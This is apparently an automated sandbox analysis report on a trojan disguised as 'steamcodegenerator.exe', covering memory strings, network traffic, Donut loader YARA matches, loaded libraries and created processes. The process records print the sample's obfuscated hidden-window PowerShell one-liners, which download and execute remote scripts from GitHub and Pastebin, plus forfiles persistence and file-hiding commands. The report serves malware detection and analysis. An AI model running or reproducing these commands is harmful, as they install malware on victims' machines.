Source: powershell.exe, 00000002.00000002.1958904116.0000025E90080000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.1958904116.0000025E90080000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: steamcodegenerator.exe, 00000000.00000002.3629347869.0000022AF30AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: powershell.exe, 00000002.00000002.1943654645.0000025E80232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: steamcodegenerator.exe, 00000000.00000002.3629347869.0000022AF305C000.00000004.00000020.00020000.00000000.sdmp, steamcodegenerator.exe, 00000000.00000002.3629347869.0000022AF308D000.00000004.00000020.00020000.00000000.sdmp, steamcodegenerator.exe, 00000000.00000002.3629347869.0000022AF311C000.00000004.00000020.00020000.00000000.sdmp, steamcodegenerator.exe, 00000000.00000002.3629347869.0000022AF30AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/user-attachments/files/17267811/stm.txt
Source: steamcodegenerator.exe, 00000000.00000002.3629347869.0000022AF30AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/user-attachments/files/17267811/stm.txt$
Source: steamcodegenerator.exe	String found in binary or memory: https://github.com/user-attachments/files/17267811/stm.txt%pinvalid
Source: steamcodegenerator.exe, 00000000.00000002.3629347869.0000022AF30AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/user-attachments/files/17267811/stm.txta
Source: steamcodegenerator.exe, 00000000.00000002.3629347869.0000022AF305C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/user-attachments/files/17267811/stm.txtll
Source: steamcodegenerator.exe, 00000000.00000002.3629347869.0000022AF311C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/user-attachments/files/17267811/stm.txtnp
Source: powershell.exe, 00000002.00000002.1958904116.0000025E901B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1943654645.0000025E818D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1958904116.0000025E90080000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: steamcodegenerator.exe, 00000000.00000002.3629347869.0000022AF311C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://objects.githubusercontent.com/
Source: steamcodegenerator.exe, 00000000.00000002.3629347869.0000022AF311C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://objects.githubusercontent.com/github-production-repository-file-5c1aeb/867932512/17267811?X-
Source: powershell.exe, 00000002.00000002.1943654645.0000025E81632000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000002.00000002.1943654645.0000025E81632000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443

Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.4:49763 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_5660.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi64_7248.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: sslproxydump.pcap, type: PCAP	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000000.00000002.3629921626.0000022AF4E10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000000.00000002.3629903861.0000022AF4D00000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\stm[1].txt, type: DROPPED	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Source: C:\Users\user\Desktop\steamcodegenerator.exe

Code function: 0_2_0000022AF4E1819F NtCreateSection,NtMapViewOfSection,VirtualAlloc,NtUnmapViewOfSection,NtMapViewOfSection,VirtualProtect,VirtualProtect,VirtualProtect,

0_2_0000022AF4E1819F

Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_00007FF663542230	0_2_00007FF663542230
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_00007FF663560478	0_2_00007FF663560478
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_00007FF663557C3C	0_2_00007FF663557C3C
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_00007FF663564B84	0_2_00007FF663564B84
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_00007FF663564C0B	0_2_00007FF663564C0B
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_00007FF663550414	0_2_00007FF663550414
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_00007FF663556974	0_2_00007FF663556974
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_00007FF663550210	0_2_00007FF663550210
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_00007FF6635521E8	0_2_00007FF6635521E8
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_00007FF66355408C	0_2_00007FF66355408C
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_00007FF66356203C	0_2_00007FF66356203C
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_00007FF6635590FC	0_2_00007FF6635590FC
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_00007FF663554910	0_2_00007FF663554910
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_00007FF66355980A	0_2_00007FF66355980A
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_00007FF66355000C	0_2_00007FF66355000C
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_00007FF66355F008	0_2_00007FF66355F008
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_00007FF663550FD4	0_2_00007FF663550FD4
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_00007FF66356354C	0_2_00007FF66356354C
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_00007FF663542DE0	0_2_00007FF663542DE0
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_0000022AF4E1819F	0_2_0000022AF4E1819F
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_0000022AF4E16AB7	0_2_0000022AF4E16AB7
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_0000022AF4E18C53	0_2_0000022AF4E18C53
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_0000022AF4E17D6F	0_2_0000022AF4E17D6F
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Code function: 0_2_0000022AF4E51F00	0_2_0000022AF4E51F00

Source: amsi64_5660.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi64_7248.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: sslproxydump.pcap, type: PCAP	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000000.00000002.3629921626.0000022AF4E10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000000.00000002.3629903861.0000022AF4D00000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\stm[1].txt, type: DROPPED	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: classification engine

Classification label: mal96.troj.evad.winEXE@21/17@5/4

Source: C:\Users\user\Desktop\steamcodegenerator.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\stm[1].txt

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7756:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7508:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yf2k4eim.g1l.ps1

Jump to behavior

Source: steamcodegenerator.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\steamcodegenerator.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: steamcodegenerator.exe

ReversingLabs: Detection: 42%

Source: unknown	Process created: C:\Users\user\Desktop\steamcodegenerator.exe "C:\Users\user\Desktop\steamcodegenerator.exe"
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command start powershell -windowstyle h -args {sal notpad iEx; sal $env:os iWr; notpad(windows_nT raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt -usebasicparsing)}
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" sal notpad iEx; sal $env:os iWr; notpad(windows_nT raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\attrib.exe "C:\Windows\system32\attrib.exe" +s +h "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"
Source: unknown	Process created: C:\Windows\System32\forfiles.exe "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'"
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"
Source: unknown	Process created: C:\Windows\System32\forfiles.exe "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'"
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command start powershell -windowstyle h -args {sal notpad iEx; sal $env:os iWr; notpad(windows_nT raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt -usebasicparsing)}	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" sal notpad iEx; sal $env:os iWr; notpad(windows_nT raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\attrib.exe "C:\Windows\system32\attrib.exe" +s +h "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"	Jump to behavior
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"	Jump to behavior
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"

Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
